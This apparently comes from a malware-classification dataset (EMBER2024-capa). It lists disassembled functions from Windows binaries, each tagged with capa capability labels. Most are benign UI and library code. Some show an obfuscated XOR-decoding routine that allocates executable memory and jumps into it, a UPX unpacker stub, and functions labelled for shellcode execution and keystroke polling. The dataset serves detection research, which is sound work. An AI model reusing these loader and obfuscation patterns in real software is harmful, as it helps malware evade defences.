joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001b40
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001bd8
push str.avifil32.dll
call fcn.1000b542
test al, al
jne 0x10001b5d
pop esi
ret
push str.AVIFileInit
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileExit
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileRelease
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileOpen
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamInfo
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamOpenFromFile
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamRelease
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret

Function at 0x10001c20
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001cb8
push str.winmm.dll
call fcn.1000b542
test al, al
jne 0x10001c3d
pop esi
ret
push str.mmioInstallIOProcA
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioOpenA
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioClose
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioAscend
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioRead
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioDescend
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mciSendCommandA
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret

Function at 0x10009670
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x100096c8
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x100096c8
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.1000b542
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x10009c50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x1000b542
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1000b551
pop dword [ebp - 0x44]
mov eax, 0xd80126e0
sub eax, 0xc800718f
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x90db002d
sub dword [ebp - 0x54], 0x4288bae2
mov dword [ebp - 0x50], 0x96495668
add dword [ebp - 0x50], 0x9be9f5dd
mov dword [ebp - 0x4c], 0x633d7229
sub dword [ebp - 0x4c], 0x16f12dfb
mov dword [ebp - 0x48], 0xd968b85a
sub dword [ebp - 0x48], 0xd968b85a
lea eax, [ebp - 0x54]
push eax
mov eax, 0x19ae4c36
sub eax, 0x9ad7bb6
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x26094926
sub dword [ebp - 0x54], 0xb196dfd0
mov dword [ebp - 0x50], 0xd562eb9a
add dword [ebp - 0x50], 0x6c0975db
mov dword [ebp - 0x4c], 0xc157fe91
add dword [ebp - 0x4c], 0xa2176ddb
mov dword [ebp - 0x48], 0xfb80e60a
add dword [ebp - 0x48], 0x47f19f6
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xf729f48e
add eax, 0x18d6dbea
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3980c
push 0
call eax
mov ecx, 0x4d12
mov esi, eax
mov edx, 0x1001b400
add edx, dword [ebp - 0x44]
mov edi, 0x5869ba4f
add edi, 0x4aa96229
mov dword [ebp - 0x10], 0xbf68c6b2
mov ebx, dword [edx]
xor dword [ebp - 0x28], ecx
add ebx, edi
mov dword [ebp - 0x3c], 0x1490a96c
mov dword [esi], ebx
add dword [ebp - 4], 0xbd0b6f72
add esi, 0x2f7c2c7f
sub esi, 0x2f7c2c7b
add edx, 4
loop 0x1000b667
add eax, 0x3b1d6105
sub eax, 0x3b1c39ea
xor ebx, ebx
add ebx, eax
add eax, 0x38bf58ef
add eax, 0xc740a716
mov ecx, 0x40cf1fbb
sub ecx, 0x30cf1fbb
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x3000eec9
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x3000f630
call fcn.3000ef5a
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x300119f0
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x3000ecb9
cmp eax, esi
jne 0x3000ecac
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x3000ecbc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x3000ec93
xor esi, esi
inc esi
mov eax, dword [0x300119ec]
cmp eax, esi
jne 0x3000eccf
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x3000ed0a
mov eax, dword [0x300119ec]
test eax, eax
jne 0x3000ed04
mov dword [0x300119ec], esi
push 0x300012e0
push 0x300012d4
call fcn.30143000
pop ecx
pop ecx
test eax, eax
je 0x3000ed0a
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x3000ede1
mov dword [0x300116a8], esi
mov eax, dword [0x300119ec]
cmp eax, esi
jne 0x3000ed2e
push 0x300012d0
push 0x300012b0
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x300119ec], 2
cmp dword [ebp - 0x1c], ebx
jne 0x3000ed3b
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x300119fc], ebx
je 0x3000ed5c
push 0x300119fc
call fcn.3000f2be
pop ecx
test eax, eax
je 0x3000ed5c
push ebx
push 2
push ebx
call dword [0x300119fc]
mov eax, dword [0x30011690]
mov ecx, dword [sym.imp.MSVCR80.dll___winitenv]
mov dword [ecx], eax
push dword [0x30011690]
push dword [0x30011694]
push dword [0x3001168c]
call fcn.3000cbe4
add esp, 0xc
mov dword [0x300116a4], eax
cmp dword [0x30011698], ebx
jne 0x3000edc7
push eax
call dword [sym.imp.MSVCR80.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.MSVCR80.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x300116a8], ebx
jne 0x3000edd5
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x300116a4]
call fcn.3000ef9f
ret
call fcn.3000e5df
jmp 0x3000ec71
Function at 0x4b7ac0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xac000]
push edi
or ebp, 0xffffffff
jmp 0x4b7ae2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b7ae9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7ad8
mov eax, 1
add ebx, ebx
jne 0x4b7afb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b7b0c
jne 0x4b7b2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7b2b
dec eax
add ebx, ebx
jne 0x4b7b18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b7af0
add ebx, ebx
jne 0x4b7b27
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b7b7d
xor ecx, ecx
sub eax, 3
jb 0x4b7b43
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b7bb2
sar eax, 1
mov ebp, eax
jmp 0x4b7b4e
add ebx, ebx
jne 0x4b7b4e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7b1c
inc ecx
add ebx, ebx
jne 0x4b7b5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b7b1c
add ebx, ebx
jne 0x4b7b69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b7b5e
jne 0x4b7b7a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b7b5e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b7b9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b7b8e
jmp 0x4b7ade
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b7b9c
add edi, ecx
jmp 0x4b7ade
pop esi
mov edi, esi
mov ecx, 0x48f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b7bba
cmp byte [edi], 6
jne 0x4b7bba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b7bbf
lea edi, [esi + 0xb4000]
mov eax, dword [edi]
or eax, eax
je 0x4b7c37
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb7000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb708c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b7bec
mov ecx, edi
jns 0x4b7c1b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb7090]
or eax, eax
je 0x4b7c31
mov dword [ebx], eax
add ebx, 4
jmp 0x4b7c09
call dword [esi + 0xb7098]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4b7c68
cmp al, 0xef
ja 0x4b7c5b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4b7c3d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4b7c4a
mov ebp, dword [esi + 0xb7094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b7c9c
sub esp, 0xffffff80
jmp 0x434567
Function at 0x401470
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 4]
and eax, 0xffff
dec eax
je 0x4014bc
sub eax, 0x2bf
je 0x40149e
dec eax
je 0x401489
xor eax, eax
ret
mov dword [0x4dd910], 1
call fcn.00401680
mov eax, 1
ret
mov eax, dword [0x4dd8f4]
push 0
push eax
mov dword [0x4dd918], 1
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
ret
mov dword [0x4dd908], 1
call fcn.00401680
mov eax, 1
ret

Function at 0x401510
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x510ae0]
test eax, eax
je 0x401526
push str.about_show
call fcn.0043bb00
add esp, 4
mov eax, dword [0x4dd8f4]
test eax, eax
jne 0x40155d
mov eax, dword [0x4dd904]
mov ecx, dword [0x4dd8f8]
push 0
push 0x401030
push eax
push 0x25a
push ecx
call dword [sym.imp.USER32.dll_CreateDialogParamA]
test eax, eax
mov dword [0x4dd8f4], eax
jne 0x40155d
mov eax, 0x19d
ret
mov eax, dword [esp + 4]
push esi
test eax, eax
push edi
je 0x40159d
mov edx, dword [0x4dd90c]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push edx
call esi
mov eax, dword [0x4dd930]
push 5
push eax
call esi
mov ecx, dword [0x4dd8fc]
push 5
push ecx
call esi
mov ecx, dword [0x4dd8f4]
push 5
push ecx
call esi
pop edi
xor eax, eax
pop esi
ret
push 0x88
call fcn.004411b0
mov edx, dword [0x4dd90c]
mov edi, dword [sym.imp.USER32.dll_SetWindowTextA]
add esp, 4
push eax
push edx
call edi
mov eax, dword [0x4dd90c]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 5
push eax
call esi
mov ecx, dword [0x4dd930]
push 0
push ecx
call esi
mov edx, dword [0x4dd8fc]
push 0
push edx
call esi
mov eax, dword [0x4dd90c]
push 1
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
call fcn.0047c180
test eax, eax
jne 0x40161b
push 0x39
call fcn.004411b0
mov ecx, dword [0x4dd924]
add esp, 4
push eax
push ecx
call edi
mov ecx, dword [0x4dd8f4]
push 5
push ecx
call esi
pop edi
xor eax, eax
pop esi
ret
call fcn.0041d7d0
test eax, eax
je 0x40164e
call fcn.0041d7d0
push eax
push 0x61
call fcn.004411f0
mov edx, dword [0x4dd924]
add esp, 8
push eax
push edx
call edi
mov ecx, dword [0x4dd8f4]
push 5
push ecx
call esi
pop edi
xor eax, eax
pop esi
ret
call fcn.0041d7c0
push eax
push 0x63
call fcn.004411f0
add esp, 8
push eax
mov eax, dword [0x4dd924]
push eax
call edi
mov ecx, dword [0x4dd8f4]
push 5
push ecx
call esi
pop edi
xor eax, eax
pop esi
ret

Function at 0x4016c0
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x510ae0]
test eax, eax
je 0x4016d6
push str.about_hide_cancel
call fcn.0043bb00
add esp, 4
mov eax, dword [0x4dd8fc]
push esi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push eax
call esi
mov ecx, dword [0x4dd930]
push 0
push ecx
call esi
pop esi
ret

Function at 0x401700
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x510ae0]
test eax, eax
je 0x401716
push str.about_hide_skip
call fcn.0043bb00
add esp, 4
mov eax, dword [0x4dd930]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [0x4dd918], 0
ret
Function at 0x401ec0
Capabilities:
Get graphical window text

Disassembly:
mov ecx, dword [0x4dd96c]
sub esp, 0x100
lea eax, [esp]
push esi
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
push edi
push 0x100
push eax
push ecx
call esi
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
lea edx, [esp + 8]
push edx
call edi
push eax
push 8
call fcn.0040d1b0
mov ecx, dword [0x4dd94c]
add esp, 0xc
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
call edi
push eax
push 9
call fcn.0040d1b0
mov ecx, dword [0x4dd970]
add esp, 0xc
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
call edi
push eax
push 0xa
call fcn.0040d1b0
mov ecx, dword [0x4dd964]
add esp, 0xc
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
call edi
push eax
push 0xb
call fcn.0040d1b0
mov ecx, dword [0x4dd95c]
add esp, 0xc
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
call edi
push eax
push 0x16
call fcn.0040d1b0
mov ecx, dword [0x4dd968]
add esp, 0xc
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
call edi
push eax
push 0x17
call fcn.0040d1b0
mov ecx, dword [0x4dd958]
add esp, 0xc
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
push 0xc
call fcn.0040d240
push 0xe
call fcn.0040d180
add esp, 0xc
cmp eax, 0x1a
jl 0x402005
mov ecx, dword [0x4dd948]
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
call edi
push eax
push 0x14
call fcn.0040d1b0
add esp, 0xc
mov ecx, dword [0x4dd960]
lea eax, [esp + 8]
push 0x100
push eax
push ecx
call esi
lea edx, [esp + 8]
push edx
push 0x15
call fcn.0040d240
mov eax, dword [0x4dd954]
add esp, 8
push 0x1d6
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
cmp eax, 1
jne 0x402040
push eax
jmp 0x402042
push 0
push 0x18
call fcn.0040d2d0
add esp, 8
push 0x14
call fcn.004411b0
mov ecx, dword [0x4dd950]
mov edi, dword [sym.imp.USER32.dll_SetWindowTextA]
add esp, 4
push eax
push ecx
call edi
mov eax, dword [0x4dd974]
lea edx, [esp + 8]
push 0x100
push edx
push eax
call esi
lea ecx, [esp + 8]
push ecx
push 0x19
call fcn.0040d240
add esp, 8
call fcn.0040f5b0
test eax, eax
je 0x4020b3
push eax
push 0x10
call fcn.004411f0
mov edx, dword [0x4dd950]
add esp, 8
push eax
push edx
call edi
pop edi
mov eax, 1
pop esi
add esp, 0x100
ret
mov eax, dword [0x4dd954]
push 0
push eax
call dword [sym.imp.USER32.dll_EndDialog]
pop edi
pop esi
add esp, 0x100
ret
Function at 0x402480
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 8], 0xffffff36
je 0x402493
mov eax, 1
ret
jmp 0x4024a0
mov eax, dword [0x4dd984]
sub esp, 0x100
push esi
push 0x100
push 0x4dd990
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x4dd990
push str.local_path
push str.advanced
call fcn.0044cfe0
mov ecx, dword [0x4dd978]
mov esi, dword [sym.imp.USER32.dll_IsDlgButtonChecked]
add esp, 0xc
push 0x28c
push ecx
call esi
neg eax
sbb eax, eax
neg eax
mov dword [0x4dd98c], eax
call fcn.004025d0
mov edx, dword [0x4dd98c]
push edx
push 0x4c4204
push str.advanced
call fcn.0044cf00
mov eax, dword [0x4dd978]
add esp, 0xc
push 0x296
push eax
call esi
neg eax
sbb eax, eax
neg eax
push eax
push str.object_errors
push str.advanced
mov dword [0x4dda98], eax
call fcn.0044cf00
mov ecx, dword [0x4dda90]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
add esp, 0xc
push 0
push 0
push 0x147
push ecx
call esi
lea edx, [esp + 4]
mov dword [0x4dd980], eax
push edx
push eax
mov eax, dword [0x4dda90]
push 0x148
push eax
call esi
call fcn.0042e170
lea ecx, [esp + 4]
push ecx
call fcn.00441270
mov edx, dword [0x4dd988]
add esp, 4
push 0
push 0
push 0x147
push edx
call esi
mov edx, dword [0x4dd988]
lea ecx, [esp + 4]
push ecx
push eax
push 0x148
push edx
mov dword [0x4dd97c], eax
call esi
lea eax, [esp + 4]
push eax
call fcn.0046d290
add esp, 4
mov eax, 1
pop esi
add esp, 0x100
ret
Function at 0x4025d0
Capabilities:
Get disk information

Disassembly:
mov al, byte [0x4dd990]
sub esp, 0x100
test al, al
push ebx
push esi
je 0x40272e
push edi
mov edi, 0x4dd990
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x3a
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
pop edi
je 0x402625
mov byte [eax + 1], 0
mov eax, dword [0x4dd98c]
test eax, eax
jne 0x40266a
push 0x4dd990
call fcn.0042ebe0
add esp, 4
test eax, eax
je 0x402727
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 5
jne 0x40272e
pop esi
mov dword [0x4dd98c], 1
pop ebx
add esp, 0x100
ret
mov eax, dword [sym.imp.MSVCRT.dll___mb_cur_max]
cmp dword [eax], 1
jle 0x40268c
movsx ecx, byte [0x4dd990]
push 0x103
push ecx
call dword [sym.imp.MSVCRT.dll__isctype]
add esp, 8
jmp 0x4026a3
mov eax, dword [sym.imp.MSVCRT.dll__pctype]
movsx edx, byte [0x4dd990]
mov ecx, dword [eax]
mov ax, word [ecx + edx*2]
and eax, 0x103
test eax, eax
je 0x40272e
mov esi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea edx, [esp + 8]
push edx
call esi
cmp eax, 5
je 0x40272e
mov bl, byte [0x4dd990]
mov byte [esp + 8], 0x41
lea eax, [esp + 8]
push eax
call esi
cmp eax, 5
jne 0x4026ef
mov cl, byte [esp + 8]
push 0x4dd990
mov byte [0x4dd990], cl
call fcn.0042ebe0
add esp, 4
test eax, eax
jne 0x40272e
mov al, byte [esp + 8]
inc al
cmp al, 0x5a
mov byte [esp + 8], al
jl 0x4026c8
push 0x4dd990
mov byte [0x4dd990], bl
call fcn.0042ebe0
add esp, 4
test eax, eax
je 0x402727
pop esi
mov dword [0x4dd98c], 0
pop ebx
add esp, 0x100
ret
mov byte [0x4dd990], 0
pop esi
pop ebx
add esp, 0x100
ret

Function at 0x403810
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
test esi, esi
jl 0x403892
cmp esi, 0x163
jae 0x403892
cmp dword [esi*8 + 0x4c42e0], 4
je 0x403836
pop edi
pop esi
mov eax, 0x1c1
pop ebx
ret
mov edi, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea eax, [esp + 0x14]
push eax
push 4
push 0x6ef
push edi
call ebx
test eax, eax
jne 0x40385c
pop edi
pop esi
mov eax, 0x200
pop ebx
ret
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x14]
lea ecx, [edi + esi*4]
push eax
add esi, ecx
push 2
push 0x6ef
push edi
mov dword [esi], edx
call ebx
fld dword [esi]
fcomp dword [esp + 0x18]
fnstsw ax
test ah, 0x40
jne 0x40388c
pop edi
pop esi
mov eax, 0x201
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret
pop edi
pop esi
mov eax, 0x1c0
pop ebx
ret
Function at 0x403e10
Capabilities:
Get graphical window text

Disassembly:
mov ecx, dword [0x4ddcb8]
sub esp, 0x200
lea eax, [esp + 0x100]
push esi
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x100
push eax
push ecx
call esi
mov eax, dword [0x4ddcbc]
lea edx, [esp + 4]
push 0x100
push edx
push eax
call esi
lea ecx, [esp + 4]
lea edx, [esp + 0x104]
push ecx
push edx
push 0x4ddbb8
call fcn.00442c80
mov eax, dword [0x4ddbb4]
add esp, 0xc
push 0x674
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
test eax, eax
pop esi
je 0x403e94
push 4
call fcn.00428790
push eax
push 0x4ddbb8
push str.proxy_auth
push str.connection
call fcn.0044d170
add esp, 0x14
push 0x4ddbb8
call fcn.0047bdd0
mov ecx, dword [0x4ddbb4]
add esp, 4
push 1
push ecx
call dword [sym.imp.USER32.dll_EndDialog]
add esp, 0x200
ret
Function at 0x4119b0
Capabilities:
Log keystrokes via polling

Disassembly:
call fcn.004477d0
test eax, eax
je 0x411b7b
mov eax, dword [esp + 4]
add eax, 0xfffffff8
cmp eax, 0x67
ja case.0x411b98.23
xor ecx, ecx
mov cl, byte [eax + 0x411c9c]
jmp dword [ecx*4 + 0x411c58]
mov edx, dword [0x4de19c]
push 0
push 0x70
push 0x111
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
push 0
push 0x71
jmp 0x411b0e
mov ecx, dword [0x4de19c]
push 0
push 0x72
push 0x111
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
mov edx, dword [0x4de19c]
push 0
push 0x73
push 0x111
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
mov eax, dword [esp + 8]
and eax, 0x40000000
push eax
push 0x6e
call fcn.00446580
add esp, 8
mov eax, 1
ret
mov ecx, dword [esp + 8]
and ecx, 0x40000000
push ecx
push 0x6f
call fcn.00446580
add esp, 8
mov eax, 1
ret
mov edx, dword [0x4de19c]
push 0
push 0x6d
push 0x111
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
push 0
push 0x6c
jmp 0x411b0e
mov ecx, dword [0x4de19c]
push 0
push 0x8c
push 0x111
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
and al, 0xfe
push 0
test ax, ax
je 0x411ace
mov edx, dword [0x4de19c]
push 0xaf
push 0x111
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
push 0xae
jmp 0x411b0e
mov ecx, dword [0x4de19c]
push 0
push 0x75
push 0x111
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
mov edx, dword [0x4de19c]
push 0
push 0x74
push 0x111
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
push 0
push 0xad
mov eax, dword [0x4de19c]
push 0x111
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
mov ecx, dword [0x4de19c]
push 0
push 0xac
push 0x111
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
ret
mov edx, dword [0x4de19c]
push 0
push 0xab
push 0x111
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, 1
ret
mov eax, dword [0x4de19c]
push 0
push 0xaa
push 0x111
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, 1
ret
call fcn.00471f60
test eax, eax
je case.0x411b98.23
mov ecx, dword [esp + 4]
lea eax, [ecx - 0xc]
cmp eax, 0x61
ja case.0x411b98.23
xor edx, edx
mov dl, byte [eax + 0x411d34]
jmp dword [edx*4 + 0x411d04]
push 0xb3
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xb2
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xb4
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xb5
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xb0
call fcn.00472490
add esp, 4
mov eax, 1
ret
push 0xb1
call fcn.00472490
add esp, 4
mov eax, 1
ret
push 0xb6
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xb7
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xb8
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xb9
call fcn.00472490
add esp, 4
xor eax, eax
ret
push 0xba
call fcn.00472490
add esp, 4
xor eax, eax
ret